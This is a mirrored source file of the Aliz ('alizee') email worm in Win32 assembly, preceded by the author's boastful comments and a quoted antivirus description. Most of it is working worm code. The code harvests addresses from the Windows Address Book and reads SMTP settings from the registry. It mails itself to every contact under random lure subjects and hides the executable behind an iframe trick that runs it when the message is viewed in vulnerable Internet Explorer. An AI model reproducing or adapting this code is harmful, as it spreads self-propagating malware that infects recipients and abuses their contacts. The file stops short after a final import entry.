mirror of
https://github.com/vxunderground/MalwareSourceCode
synced 2024-06-16 12:08:36 +00:00
1233 lines
36 KiB
NASM
1233 lines
36 KiB
NASM
comment $
|
|
|
|
ey, this comment is added 21 november 2001. i saw that aliz is spreading
|
|
pretty, so just some more about-text then the original release (i thought it
|
|
would be a worm that nobody would ever know :).
|
|
|
|
well, i wrote this worm long ago, in about two days, just cause i was bored.
|
|
it was around the time that the iframe sploit was 1-day old, thats all i re-
|
|
member and i have no clue how long ago that was.
|
|
|
|
anyway, i wanted to code a small worm. i did it, but what then? i didn't wanna
|
|
drop it itw cause massmailers are lame. (the total worm is lame, really).
|
|
so i decided that it would be nice for coderz #2... that was going to be
|
|
released around that days (heheheheeheh a half year later now i write this
|
|
text and it still getting released soon). anyway, thats why that text is in
|
|
it. i had to fill much space, so thats why that huge stupid text.
|
|
|
|
anyway, coderz#2 wasn't getting released for weeks, months, etc, so i decided
|
|
to fork the AV's a sample, and i uploaded it to my site, as a binary, in a
|
|
zip file with a secret password, as a test sample.
|
|
|
|
nothing happens and i forgot the total fuck worm. although avx wrote a
|
|
description very fast because they are lame.
|
|
|
|
well, 19 november i was just checking f-secure.com, because they have nice
|
|
a special section pictures of viruses (payloads) in their description part,
|
|
and what did i see: aliz. in the wild...
|
|
|
|
woowwie ;)
|
|
|
|
now it is high risk blabla on many av sites...
|
|
|
|
well, its a lame worm, and i didn't care really cause nobody would really
|
|
see it (look over the source). anyway, now it differs a lil i guess ;)
|
|
|
|
heh.
|
|
|
|
greetings
|
|
|
|
mar00n (a lame nick too)
|
|
|
|
|
|
description, today i pick f-secure because its the most complimentous desc. ;)
|
|
|
|
btw, 'in pure Assembly', did they recognize it or was it because of my text
|
|
in the body?: '..power in pure win32asm..' hehe ;))
|
|
|
|
------------------------------------------------------------------------------
|
|
Aliz is a very small e-mail worm written in pure Assembly. It appeared in the
|
|
wild on 18-20th of November 2001. The worm's file is only 4 kilobytes long
|
|
and its code is compressed. It can be considered one of the smallest Win32
|
|
worms ever created.
|
|
|
|
When the worm is run, it first unpacks itself and then passes control to API
|
|
address setup routine. When all needed API addresses are collected, the
|
|
control is passed to the main worm's code. The worm checks the Registry for
|
|
the location of Windows Address Book file and loads it into memory. The worm
|
|
then connects to default SMTP server (for SMTP server info the worm checks
|
|
Internet Accound Manager data in the Registry) and sends itself to all
|
|
recepients of Windows Address Book. The infected message looks like that:
|
|
|
|
|
|
|
|
Subject: <randomly composed from 5 different parts, see below>
|
|
Body: <empty multi-part MIME message with HTML formatting and i-frame trick>
|
|
Attachment: Whatever.exe
|
|
|
|
The subject of infected message is randomly composed from 5 different parts:
|
|
|
|
|
|
|
|
Fw:
|
|
Fw: Re:
|
|
|
|
|
|
|
|
Cool
|
|
Nice
|
|
Hot
|
|
some
|
|
Funny
|
|
weird
|
|
funky
|
|
great
|
|
Interesting
|
|
many
|
|
|
|
|
|
|
|
website
|
|
site
|
|
pics
|
|
urls
|
|
pictures
|
|
stuff
|
|
mp3s
|
|
shit
|
|
music
|
|
info
|
|
|
|
|
|
|
|
to check
|
|
for you
|
|
i found
|
|
to see
|
|
here
|
|
- check it
|
|
|
|
|
|
|
|
!!
|
|
!
|
|
:-)
|
|
?!
|
|
hehe ;-)
|
|
|
|
For example a subject can be: "Fw: Cool pictures i found !!" or
|
|
"Nice website to check hehe ;-)".
|
|
|
|
The message contains a MIME-encoded attachment - the worm's file with
|
|
'Whatever.exe' name. The body is an empty multi-part MIME message with HTML
|
|
formatting and i-frame trick that was previously found in Nimda and Klez
|
|
worms. Because of this trick on some systems the worm is able to self-launch
|
|
itself when an infected e-mail is viewed (for example, with Outlook and
|
|
IE 5.0 or 5.01). To do this the worm uses a known vulnerability in IE that
|
|
allows execution of an email attachment. This vulnerability is fixed and a
|
|
patch for it is available on Microsoft site:
|
|
|
|
http://www.microsoft.com/windows/ie/downloads/critical/q290108/default.asp
|
|
|
|
The worm doesn't install itself to system, it runs, sends itself out and
|
|
terminates its process.
|
|
|
|
The worm contains the following text strings that are never displayed:
|
|
|
|
|
|
|
|
:::iworm.alizee.by.mar00n!ikx2oo1:::
|
|
|
|
|
|
|
|
while typing this text i realize this text got added on many av
|
|
description sites, because this silly worm could be easily a
|
|
hype. i wonder which av claims '[companyname] stopped high risk
|
|
worm before it could escape!' or shit like that. heh, or they
|
|
boycot my virus because of this text. well, it is easy enough
|
|
for the poor av's to add this worm; since it was only released
|
|
as source in coderz#2... btw, loveletter*2 power in pure win32asm
|
|
and only a 4k exe file. heh, vbs kiddies, phear win32asm. :)
|
|
thx to: bumblebee!29a, asmodeus!ikx. greets to: starzer0!ikx,
|
|
t-2000!ir, ultras!mtx & sweet gigabyte...
|
|
btw,burgemeester van sneek: ik zoek nog een baantje...
|
|
(alignmentfillingtext)
|
|
|
|
F-Secure Anti-Virus detects Aliz worm with the latest updates.
|
|
|
|
[Analysis: Alexey Podrezov; F-Secure Corp.; November 19th, 2001]
|
|
|
|
------------------------------------------------------------------------------
|
|
|
|
|
|
well and here the old comment
|
|
|
|
$
|
|
|
|
comment $
|
|
|
|
iworm alizee by mar00n ! ikx 2oo1
|
|
|
|
alizee is a worm that mails itself around to all addies in your addressbook.
|
|
|
|
not very special, is it?
|
|
|
|
well:
|
|
|
|
1-it shows that the stack is your best friend
|
|
2-the generated exe file is only 4096 bytes
|
|
3-it shows a clean compatible way in win32asm to obtain email addies
|
|
4-the subject is random generated
|
|
5-the attached exe file gets automatically executed if the reader
|
|
tries to read the message
|
|
6-the whole thing is very clean written (who cares)
|
|
|
|
indeed, very standard, except step 2 and 5 ;)
|
|
|
|
more about them:
|
|
|
|
step 2: yes, its very small, the code is compressed using aplib, and
|
|
decompressed using my own tweaked optmized aplib decompressor
|
|
|
|
step 5: indeed, this means loveletter power*10. (code? search for <html> tag)
|
|
|
|
|
|
succesfully tested under win98 & win2k... its nice to talk with your creation
|
|
using netcat ;)
|
|
|
|
220 hi
|
|
helo localhost
|
|
250 ey man ;) wassup? do you have mail to send?
|
|
mail from: some@one.com
|
|
250 and to who?
|
|
rcpt to: sucker@microsoft.com
|
|
250 seems ok to me
|
|
data
|
|
354 go ahead ;) ... but don't forget the cr.cr, ok?
|
|
|
|
blablablla
|
|
|
|
well erh, this worm is very hard to compile, see my zip file for the bat files
|
|
and external programs you need.
|
|
|
|
|
|
thx: bumblebee for your base64 routines
|
|
asmodeus for the first one doing this
|
|
|
|
grtz/fear: starzer0,billy,lifewire,vecna,z0mbie,t2k,benny,ratter,griyo
|
|
and gig
|
|
|
|
ps, i don't love alizee or what. she's just ... highly fuckable?
|
|
|
|
$
|
|
.386p
|
|
.model flat
|
|
locals __
|
|
|
|
include c:\tasm\inc\myinc.inc
|
|
|
|
sizer equ 4098
|
|
|
|
binsize equ sizer + 3-(3-(sizer mod 3)) ;stupid 3-alignment for base64
|
|
|
|
|
|
_call macro api
|
|
call dword ptr [api]
|
|
endm
|
|
|
|
maxspread equ 666 ;max mail to n addies
|
|
|
|
include c:\tasm\inc\win32api.inc ;luv to jackyqwerty
|
|
include c:\tasm\inc\useful.inc
|
|
include c:\tasm\inc\winsock.inc
|
|
|
|
;extrn LoadLibraryA:proc;
|
|
;extrn GetProcAddress:proc;
|
|
|
|
;----------------------------------------------------------------------------;
|
|
_CODE segment dword use32 public 'CODE'
|
|
start: nop ;heh
|
|
|
|
_CODE ends
|
|
;----------------------------------------------------------------------------;
|
|
|
|
.data ;only to use virtual offset 402000
|
|
; int 3
|
|
|
|
call overseh
|
|
|
|
jmp $ ;if seh we simply hang. why not? :)
|
|
|
|
overseh:
|
|
xor edx,edx
|
|
push dword ptr fs:[edx]
|
|
mov fs:[edx],esp
|
|
|
|
;----------------------------------------------------------------------------;
|
|
;ebx=module base/handle
|
|
;esi=crc32s
|
|
;edi=wheretostore
|
|
|
|
mov esi,offset apicrcs
|
|
mov edi,offset apis
|
|
|
|
call __x
|
|
db "KERNEL32",0
|
|
__x:
|
|
|
|
i_importall_loop:
|
|
; call LoadLibraryA
|
|
call dword ptr [start+2034h] ;loadlibrary
|
|
xchg eax,ebx
|
|
call i_importapis ;first import k32
|
|
xor eax,eax
|
|
lodsb
|
|
xchg eax,ecx
|
|
jecxz i_importall_done ;modulenamelength
|
|
push esi
|
|
add esi,ecx
|
|
jmp i_importall_loop
|
|
;----------------------------------------------------------------------------;
|
|
|
|
i_importall_done:
|
|
|
|
sub esp,size stackframe
|
|
|
|
sub esp,size stack2
|
|
mov ebp,esp
|
|
|
|
; int 3
|
|
|
|
call __y
|
|
db "Software\Microsoft\WAB\WAB4\Wab File Name",0
|
|
__y:
|
|
push 0
|
|
call readregkey
|
|
|
|
lea esi,[ebp.buffer]
|
|
|
|
add esp,size stack2
|
|
or eax,eax
|
|
jnz exit
|
|
|
|
;esp = filename of wab we choose
|
|
|
|
mov ebp,esp
|
|
|
|
call openfile
|
|
jc exit
|
|
|
|
;esi = wabmapview (nice name;)
|
|
|
|
;int 3
|
|
|
|
mov ecx,[esi+64h] ;number of adds
|
|
jecxz exit ;victim has no friends
|
|
add esi,[esi+60h] ;pointer addies
|
|
|
|
; dec ecx
|
|
|
|
; cmp ecx,maxspread
|
|
; jbe mailaround
|
|
; push maxspread
|
|
; pop ecx
|
|
|
|
;parse wab file for addies & mail the fun
|
|
|
|
mailaround:
|
|
push ecx
|
|
|
|
mov eax,esi
|
|
cmp byte ptr [esi+1],0
|
|
jne nounicode
|
|
|
|
|
|
push esi ;unicode support
|
|
lea edi,[ebp.addie]
|
|
push edi
|
|
|
|
push 48h
|
|
pop ecx
|
|
__y:
|
|
lodsw
|
|
stosb
|
|
loop __y
|
|
|
|
pop eax ;ebp+addie
|
|
pop esi ;esi in wab.addresses
|
|
add esi,20h
|
|
|
|
nounicode:
|
|
; int 3
|
|
push ebp
|
|
call share ;share the fun
|
|
pop ebp
|
|
|
|
add esi,24h
|
|
|
|
pop ecx
|
|
loop mailaround
|
|
|
|
push [ebp.createhandle] ;close wabfilehandle
|
|
push [ebp.maphandle]
|
|
push [ebp.viewhandle]
|
|
_call CloseHandle
|
|
_call CloseHandle
|
|
_call CloseHandle
|
|
|
|
exit: add esp,size stackframe
|
|
|
|
pop dword ptr fs:[0]
|
|
pop eax
|
|
|
|
push 0
|
|
_call ExitProcess
|
|
|
|
db ":::iworm.alizee.by.mar00n!ikx2oo1:::",0dh,0dh
|
|
|
|
db "while typing this text i realize this text got added on many av",0dh
|
|
db "description sites, because this silly worm could be easily a",0dh
|
|
db "hype. i wonder which av claims '[companyname] stopped high risk",0dh
|
|
db "worm before it could escape!' or shit like that. heh, or they",0dh
|
|
db "boycot my virus because of this text. well, it is easy enough",0dh
|
|
db "for the poor av's to add this worm; since it was only released",0dh
|
|
db "as source in coderz#2... btw, loveletter*2 power in pure win32asm",0dh
|
|
db "and only a 4k exe file. heh, vbs kiddies, phear win32asm. :)",0dh
|
|
db "thx to: bumblebee!29a, asmodeus!ikx. greets to: starzer0!ikx,",0dh
|
|
db "t-2000!ir, ultras!mtx & sweet gigabyte...",0dh
|
|
db "btw,burgemeester van sneek: ik zoek nog een baantje...",0dh
|
|
db "(alignmentfillingtext)",0dh
|
|
|
|
|
|
;----------------------------------------------------------------------------;
|
|
|
|
share: push esi
|
|
mov esi,eax
|
|
|
|
sub esp,size stack2 ;some workspace
|
|
mov ebp,esp
|
|
|
|
push ebp
|
|
push 101h
|
|
_call WSAStartup ;startup wsock services
|
|
|
|
push 0
|
|
push 1
|
|
push 2
|
|
_call socket ;create socket
|
|
xchg eax,edi
|
|
|
|
push 25 ;convert port to big/
|
|
_call htons ;lil endian
|
|
|
|
mov word ptr [ebp.sockaddr_in \
|
|
.sin_family],AF_INET ;setup connect info
|
|
mov [ebp.sockaddr_in.sin_port],ax
|
|
|
|
push offset szRegAccountInfo
|
|
call __porn
|
|
db "SMTP Server",0
|
|
__porn:
|
|
call readregkey
|
|
jc share_xit
|
|
|
|
;ebx = smtp server name from registry
|
|
|
|
push ebx
|
|
_call gethostbyname ;resolve
|
|
|
|
or eax,eax
|
|
jz share_xit
|
|
|
|
mov eax,[eax+12] ;no clue what i'm
|
|
mov eax,[eax] ;doing here. ctrl+c/v
|
|
mov eax,[eax] ;from my other source
|
|
;but i hope eax=IP ;)
|
|
|
|
mov dword ptr [ebp.sockaddr_in.sin_addr],eax
|
|
|
|
push size ssockaddr_in
|
|
lea eax,[ebp.sockaddr_in]
|
|
push eax
|
|
push edi ;handle
|
|
_call connect
|
|
or eax,eax
|
|
jnz share_xit
|
|
|
|
;int 3
|
|
|
|
mov ebx,offset maildata
|
|
call sendstrings ;mail ourself
|
|
|
|
clean_xit:
|
|
push edi
|
|
_call closesocket
|
|
_call WSACleanup ;disconnect
|
|
|
|
share_xit:
|
|
add esp,size stack2
|
|
pop esi
|
|
ret
|
|
|
|
;----------------------------------------------------------------------------;
|
|
|
|
|
|
sendstrings:
|
|
xchg ebx,esi ;ebx is now dest. email. add. esi=data
|
|
;and edi is socket handle
|
|
|
|
parsemaildata: xor eax,eax
|
|
lodsb
|
|
cmp al,8
|
|
ja nsend
|
|
or al,al
|
|
jz parsemaildata
|
|
|
|
jmp [fntable-4+eax*4]
|
|
|
|
|
|
|
|
nsend: dec esi
|
|
call stringsend
|
|
jmp parsemaildata
|
|
|
|
|
|
|
|
|
|
fntable dd offset checkmailinput
|
|
dd offset sendmailfrom
|
|
dd offset sendmailto
|
|
dd offset senddate
|
|
dd offset sendsubject
|
|
dd offset sendbase64
|
|
dd offset exitexit
|
|
|
|
sendbase64: ;int 3
|
|
|
|
pushad
|
|
|
|
push binsize*4 ;oursize*2+base64space
|
|
push 0
|
|
_call GlobalAlloc
|
|
push eax ;one push for globalfree
|
|
push eax ;one push for base64 fun
|
|
|
|
xchg eax,edi
|
|
|
|
push 0
|
|
_call GetModuleHandleA
|
|
|
|
xchg eax,esi
|
|
|
|
xor ecx,ecx
|
|
|
|
; mov ecx,200h/4
|
|
mov ch,2
|
|
rep movsb ;200h bytes
|
|
|
|
add esi,(1000h-200h)
|
|
|
|
; mov ecx,0a00h/4
|
|
mov ch,0ah
|
|
rep movsb ;a00h bytes
|
|
|
|
add esi,(2000h-0a00h)
|
|
|
|
; mov ecx,400h/4
|
|
mov ch,2
|
|
rep movsb ;200h
|
|
|
|
add esi,(1000h-400h)
|
|
|
|
; mov ecx,200h/4
|
|
mov ch,2
|
|
rep movsb ;200h
|
|
|
|
|
|
pop eax ;src
|
|
lea edx,[eax+binsize+100h] ;dest
|
|
push edx
|
|
mov ecx,binsize ;in
|
|
|
|
call encodebase64
|
|
mov dword ptr [edx],0a0d3dh ; '=/cr/lf/z'
|
|
pop esi
|
|
mov edi,[esp.Pushad_edi+4] ;jqwerty forever :)
|
|
call stringsend
|
|
|
|
_call GlobalFree
|
|
|
|
popad
|
|
|
|
jmp parsemaildata
|
|
|
|
;----------------------------------------------------------------------------;
|
|
checkmailinput: push 0
|
|
push 300h
|
|
lea eax,[ebp.buffer]
|
|
push eax
|
|
push edi ;handle
|
|
_call recv
|
|
|
|
lodsw
|
|
cmp word ptr [ebp.buffer],ax ;codes match?
|
|
je parsemaildata
|
|
ret ;no good code -return to clean_xit
|
|
;----------------------------------------------------------------------------;
|
|
|
|
;----------------------------------------------------------------------------;
|
|
sendmailfrom: push esi
|
|
|
|
|
|
; call __a
|
|
;fromwho db "test@localhost",0
|
|
; __a:
|
|
; pop esi
|
|
|
|
push ebx
|
|
|
|
push offset szRegAccountInfo
|
|
call __s
|
|
db "SMTP Email Address",0
|
|
__s:
|
|
call readregkey
|
|
mov esi,ebx
|
|
pop ebx
|
|
call stringsend ;well guess. test! :)
|
|
|
|
pop esi
|
|
smfx: jmp parsemaildata
|
|
;----------------------------------------------------------------------------;
|
|
|
|
;----------------------------------------------------------------------------;
|
|
sendmailto: push esi
|
|
mov esi,ebx
|
|
call stringsend
|
|
pop esi
|
|
smtx: jmp smfx
|
|
;----------------------------------------------------------------------------;
|
|
|
|
;----------------------------------------------------------------------------;
|
|
senddate: pushad
|
|
;int 3
|
|
|
|
push edi
|
|
lea edi,[ebp.buffer]
|
|
push edi
|
|
|
|
push 100
|
|
push edi
|
|
call __x
|
|
formdate db "ddd,dd MMM yyyy",0
|
|
__x:
|
|
push 0
|
|
push 0
|
|
push 409h
|
|
_call GetDateFormatA
|
|
add edi,eax
|
|
dec edi
|
|
mov al,' '
|
|
stosb
|
|
|
|
push 100
|
|
push edi
|
|
call __y
|
|
formtime db "HH:mm:ss",0
|
|
__y:
|
|
push 0
|
|
push 0
|
|
push 409h
|
|
_call GetTimeFormatA
|
|
add edi,eax
|
|
dec edi
|
|
mov eax,'00- '
|
|
stosd
|
|
mov eax,03030h
|
|
stosd ;barf
|
|
|
|
pop esi
|
|
pop edi
|
|
call stringsend
|
|
|
|
popad
|
|
|
|
gsxx: jmp smtx
|
|
;----------------------------------------------------------------------------;
|
|
|
|
;----------------------------------------------------------------------------;
|
|
exitexit: ;int 3
|
|
ret
|
|
;----------------------------------------------------------------------------;
|
|
|
|
|
|
;----------------------------------------------------------------------------;
|
|
sendsubject: pushad
|
|
;int 3
|
|
|
|
mov esi,offset gendata
|
|
push edi
|
|
lea edi,[ebp.buffer]
|
|
push edi
|
|
|
|
hehe:
|
|
xor eax,eax
|
|
lodsb
|
|
|
|
cmp al,31
|
|
je done
|
|
|
|
call get_rnd_range
|
|
xchg eax,ecx
|
|
|
|
__l: or ecx,ecx
|
|
jz __b
|
|
__f: lodsb
|
|
or al,al
|
|
jnz __f
|
|
loop __l
|
|
|
|
__b: lodsb
|
|
cmp al,0
|
|
je __d
|
|
stosb
|
|
jmp __b
|
|
__d: mov al,' '
|
|
stosb
|
|
|
|
__g: lodsb
|
|
cmp al,0
|
|
je __g
|
|
cmp al,' '
|
|
jae __g
|
|
dec esi
|
|
jmp hehe
|
|
|
|
done:
|
|
mov al,0
|
|
stosb
|
|
pop esi
|
|
pop edi
|
|
call stringsend
|
|
popad
|
|
jmp gsxx
|
|
|
|
gendata db 5
|
|
db 0
|
|
db 0
|
|
db 0
|
|
db "Fw:",0
|
|
db "Fw: Re:",0
|
|
|
|
db 11
|
|
db 0
|
|
db "Cool",0
|
|
db "Nice",0
|
|
db "Hot",0
|
|
db "some",0
|
|
db "Funny",0
|
|
db "weird",0
|
|
db "funky",0
|
|
db "great",0
|
|
db "Interesting",0
|
|
db "many",0
|
|
|
|
db 10
|
|
db "website",0
|
|
db "site",0
|
|
db "pics",0
|
|
db "urls",0
|
|
db "pictures",0
|
|
db "stuff",0
|
|
db "mp3s",0
|
|
db "shit",0
|
|
db "music",0
|
|
db "info",0
|
|
|
|
db 7
|
|
db "to check",0
|
|
db "for you",0
|
|
db "i found",0
|
|
db "to see",0
|
|
db "here",0
|
|
db "- check it",0
|
|
db 0
|
|
|
|
db 6
|
|
db "!!",0
|
|
db "!",0
|
|
db ":-)",0 ;lets use lame cool-to-newbies smileys ;P
|
|
db "?!",0
|
|
db "hehe ;-)",0
|
|
db 0
|
|
|
|
db 31 ;terminator
|
|
|
|
|
|
;----------------------------------------------------------------------------;
|
|
|
|
;----------------------------------------------------------------------------;
|
|
stringsend: push esi
|
|
|
|
xor ecx,ecx
|
|
dec ecx
|
|
|
|
__x: lodsb
|
|
inc ecx
|
|
cmp al,8
|
|
ja __x
|
|
|
|
pop esi
|
|
push ecx
|
|
|
|
push 0 ;flags
|
|
push ecx ;length
|
|
push esi ;datastart
|
|
push edi ;handle
|
|
_call send
|
|
|
|
pop ecx
|
|
|
|
; push 10
|
|
; _call Sleep
|
|
|
|
add esi,ecx
|
|
ret
|
|
;----------------------------------------------------------------------------;
|
|
|
|
get_rnd_range: push ecx ;luv to griyo
|
|
push edx
|
|
mov ecx,eax
|
|
call get_rnd32
|
|
xor edx,edx
|
|
div ecx
|
|
mov eax,edx
|
|
pop edx
|
|
pop ecx
|
|
ret
|
|
|
|
|
|
get_rnd32: ;Stolen from prizzy's Crypto
|
|
push ebx ecx edx
|
|
mov eax,dword ptr [ebp.rnd32seed]
|
|
mov ecx,41C64E6Dh
|
|
mul ecx
|
|
xchg eax,ecx
|
|
_call GetTickCount
|
|
mov ebx,eax
|
|
db 0Fh, 31h ;RDTCS instruction - read
|
|
xor eax,ebx
|
|
xchg ecx,eax ;PCs ticks to EDX:EAX
|
|
mul ecx
|
|
add eax,00003039h
|
|
mov dword ptr [ebp.rnd32seed],eax
|
|
pop edx ecx ebx
|
|
ret
|
|
|
|
;----------------------------------------------------------------------------;
|
|
|
|
encodebase64: ; encodeBase64 by Bumblebee. All rights reserved ;)
|
|
; input:
|
|
; EAX = Address of data to encode
|
|
; EDX = Address to put encoded data
|
|
; ECX = Size of data to encode
|
|
; output:
|
|
; ECX = size of encoded data
|
|
;
|
|
xor esi,esi
|
|
call over_enc_table
|
|
db "ABCDEFGHIJKLMNOPQRSTUVWXYZ"
|
|
db "abcdefghijklmnopqrstuvwxyz"
|
|
db "0123456789+/"
|
|
over_enc_table:
|
|
pop edi
|
|
push ebp
|
|
xor ebp,ebp
|
|
baseLoop:
|
|
movzx ebx,byte ptr [eax]
|
|
shr bl,2
|
|
and bl,00111111b
|
|
mov bh,byte ptr [edi+ebx]
|
|
mov byte ptr [edx+esi],bh
|
|
inc esi
|
|
|
|
mov bx,word ptr [eax]
|
|
xchg bl,bh
|
|
shr bx,4
|
|
mov bh,0
|
|
and bl,00111111b
|
|
mov bh,byte ptr [edi+ebx]
|
|
mov byte ptr [edx+esi],bh
|
|
inc esi
|
|
|
|
inc eax
|
|
mov bx,word ptr [eax]
|
|
xchg bl,bh
|
|
shr bx,6
|
|
xor bh,bh
|
|
and bl,00111111b
|
|
mov bh,byte ptr [edi+ebx]
|
|
mov byte ptr [edx+esi],bh
|
|
inc esi
|
|
|
|
inc eax
|
|
xor ebx,ebx
|
|
movzx ebx,byte ptr [eax]
|
|
and bl,00111111b
|
|
mov bh,byte ptr [edi+ebx]
|
|
mov byte ptr [edx+esi],bh
|
|
inc esi
|
|
inc eax
|
|
|
|
inc ebp
|
|
cmp ebp,24
|
|
jna DontAddEndOfLine
|
|
|
|
xor ebp,ebp ; add a new line
|
|
mov word ptr [edx+esi],0A0Dh
|
|
inc esi
|
|
inc esi
|
|
test al,00h ; Optimized (overlap rlz!)
|
|
org $-1
|
|
DontAddEndOfLine:
|
|
inc ebp
|
|
sub ecx,3
|
|
or ecx,ecx
|
|
jne baseLoop
|
|
|
|
mov ecx,esi
|
|
add edx,esi
|
|
pop ebp
|
|
ret
|
|
;----------------------------------------------------------------------------;
|
|
|
|
;----------------------------------------------------------------------------;
|
|
readregkey:
|
|
lea eax,[ebp.regkeyhnd]
|
|
push eax
|
|
push dword ptr [esp+3*4]
|
|
push 80000001h ;hkey current user
|
|
_call RegCreateKeyA
|
|
or eax,eax
|
|
jnz rrke
|
|
|
|
more_data: push 127
|
|
push esp
|
|
lea ebx,[ebp.buffer]
|
|
push ebx
|
|
push 0
|
|
push 0
|
|
push dword ptr [esp+18h]
|
|
push [ebp.regkeyhnd]
|
|
_call RegQueryValueExA ;read stmp server
|
|
pop ecx
|
|
cmp eax,234
|
|
je more_data ;??
|
|
or eax,eax
|
|
jnz rrke
|
|
|
|
push [ebp.regkeyhnd]
|
|
_call RegCloseKey
|
|
clc
|
|
ret 8
|
|
|
|
rrke: stc
|
|
ret 8
|
|
;----------------------------------------------------------------------------;
|
|
|
|
;----------------------------------------------------------------------------;
|
|
openfile: xor ebx,ebx
|
|
push ebx
|
|
push FILE_ATTRIBUTE_NORMAL
|
|
push OPEN_EXISTING
|
|
push ebx
|
|
push ebx
|
|
push GENERIC_READ or GENERIC_WRITE
|
|
push esi
|
|
_call CreateFileA
|
|
inc eax
|
|
jz foerroropening
|
|
dec eax
|
|
mov dword ptr [ebp.createhandle],eax
|
|
|
|
push ebx
|
|
push ebx ;max size low
|
|
push ebx
|
|
push PAGE_READWRITE
|
|
push ebx
|
|
push eax ;handle
|
|
_call CreateFileMappingA
|
|
mov dword ptr [ebp.maphandle],eax
|
|
|
|
push ebx
|
|
push ebx
|
|
push ebx
|
|
push FILE_MAP_WRITE
|
|
push eax ;handle
|
|
_call MapViewOfFile
|
|
mov dword ptr [ebp.viewhandle],eax
|
|
xchg eax,esi
|
|
clc
|
|
ret
|
|
foerroropening: stc
|
|
ret
|
|
;----------------------------------------------------------------------------;
|
|
|
|
; ebx=module base/handle
|
|
; edi=where to store
|
|
; esi=crc32 stuff
|
|
i_importapis:
|
|
mov eax,[ebx+03ch] ;pointer to PE
|
|
mov edx,[eax+ebx+78h] ;export section
|
|
add edx,ebx
|
|
|
|
i_ia_nextone:
|
|
lodsd
|
|
or eax,eax
|
|
jz i_ia_done
|
|
push esi
|
|
xchg eax,ecx ;ecx=desired crc32
|
|
|
|
mov esi,[edx+8*4] ;addresses of ApiNames
|
|
add esi,ebx
|
|
i_ia_find:
|
|
lodsd ;address
|
|
push esi
|
|
add eax,ebx ;add base
|
|
push eax ;save base for later
|
|
xchg eax,esi
|
|
call v_crc32
|
|
cmp eax,ecx ;actual crc32=desired?
|
|
pop eax
|
|
pop esi
|
|
jne i_ia_find ;nope.. then next
|
|
|
|
push edx ;preserve edx
|
|
|
|
push eax ;eax=name
|
|
push ebx
|
|
; call GetProcAddress
|
|
call dword ptr [start+2038h]
|
|
|
|
pop edx
|
|
|
|
stosd
|
|
|
|
pop esi
|
|
jmp i_ia_nextone
|
|
i_ia_done:
|
|
ret
|
|
|
|
v_crc32: ;ofcourse i stole this... :)
|
|
push edx
|
|
mov edx,09C3B248Eh
|
|
__gCRC32_next_byte:
|
|
lodsb
|
|
or al,al ;end of name ?
|
|
jz __gCRC32_finish
|
|
|
|
xor dl,al
|
|
mov al,08h
|
|
__gCRC32_next_bit:
|
|
shr edx,01h
|
|
jnc __gCRC32_no_change
|
|
xor edx,0C1A7F39Ah
|
|
__gCRC32_no_change:
|
|
dec al
|
|
jnz __gCRC32_next_bit
|
|
jmp __gCRC32_next_byte
|
|
__gCRC32_finish:
|
|
xchg eax,edx ;CRC32 to EAX
|
|
pop edx
|
|
ret
|
|
|
|
|
|
|
|
|
|
szRegAccountInfo db "Software\Microsoft\Internet Account Manager\Accounts\00000001",0
|
|
|
|
mCheck equ 1 ;recv/checkfor
|
|
mFromAd equ 2 ;mailfrom addy
|
|
mDestAd equ 3 ;sendto addy
|
|
mTime equ 4 ;right time/date field
|
|
mSubj equ 5 ;random generated subject
|
|
mBase64 equ 6 ;base64 data
|
|
mEom equ 7 ;endofmail
|
|
|
|
|
|
;----------------------------------------------------------------------------;
|
|
; *** the email data *** ;
|
|
|
|
|
|
; smtp commands
|
|
;----------------------------------------------------------------------------;
|
|
|
|
crlf equ 0dh,0ah
|
|
crlfz equ crlf,0
|
|
maildata db mCheck,'22' ;--check 220 greet
|
|
db 'HELO localhost',crlf ;HELO localhost
|
|
db mCheck,'25' ;--check 250
|
|
db 'MAIL FROM: ',mFromAd,crlf ;MAIL FROM: addie
|
|
db mCheck,'25' ;--check 250
|
|
db 'RCPT TO: ',mDestAd,crlf ;RCPT TO: addie
|
|
db mCheck,'25' ;--check 250
|
|
db 'DATA',crlf ;DATA
|
|
db mCheck,'35' ;--check 354
|
|
|
|
; stupid default stuph
|
|
;----------------------------------------------------------------------------;
|
|
|
|
db 'From: ',mFromAd,crlf
|
|
db 'To: ',mDestAd,crlf
|
|
db 'Subject: ',mSubj,crlf
|
|
db 'Date: ',mTime,crlf
|
|
|
|
;mime headers
|
|
;----------------------------------------------------------------------------;
|
|
|
|
db 'MIME-Version: 1.0',crlf
|
|
db 'Content-Type: multipart/mixed;',crlf
|
|
db ' boundary="bound"',crlf
|
|
db ' X-Priority: 3',crlf
|
|
db ' X-MSMail-Priority: Normal',crlf
|
|
db ' X-Mailer: Microsoft Outlook Express 5.50.4522.1300',crlf
|
|
db ' X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4522.1300',crlf
|
|
db crlf
|
|
db 'This is a multi-part message in MIME format.',crlf
|
|
db crlf
|
|
|
|
;first part: html code to run the sploit
|
|
;----------------------------------------------------------------------------;
|
|
|
|
db '--bound',crlf
|
|
db 'Content-Type: text/html;',crlf
|
|
db ' charset="iso-8859-1"',crlf
|
|
db 'Content-Transfer-Encoding: quoted-printable',crlf
|
|
db crlf
|
|
db '<HTML><HEAD></HEAD><BODY><iframe src=3Dcid:SOMECID height=3D0 width=3D0></iframe>',crlf
|
|
db '<font>peace</font></BODY></HTML>',crlf
|
|
db crlf
|
|
|
|
;next part - the sploit
|
|
;----------------------------------------------------------------------------;
|
|
|
|
db '--bound',crlf
|
|
db 'Content-Type: audio/x-wav;',crlf
|
|
db ' name="whatever.exe"',crlf
|
|
db 'Content-Transfer-Encoding: base64',crlf
|
|
db 'Content-ID: <SOMECID>',crlf
|
|
db crlf
|
|
|
|
;base64 stuff
|
|
;----------------------------------------------------------------------------;
|
|
db mBase64
|
|
|
|
;end boundary & quit command
|
|
;----------------------------------------------------------------------------;
|
|
|
|
db crlf,'--bound--',crlf,'.',crlf
|
|
db 'QUIT',crlf,mEom
|
|
|
|
;----------------------------------------------------------------------------;
|
|
|
|
apicrcs:
|
|
crc32m <GetWindowsDirectoryA>
|
|
crc32m <CloseHandle>
|
|
crc32m <ExitProcess>
|
|
crc32m <GlobalAlloc>
|
|
crc32m <GetModuleHandleA>
|
|
crc32m <GlobalFree>
|
|
crc32m <GetDateFormatA>
|
|
crc32m <GetTimeFormatA>
|
|
crc32m <Sleep>
|
|
crc32m <GetTickCount>
|
|
crc32m <CreateFileA>
|
|
crc32m <CreateFileMappingA>
|
|
crc32m <MapViewOfFile>
|
|
dd 0
|
|
|
|
db 9
|
|
db "ADVAPI32",0
|
|
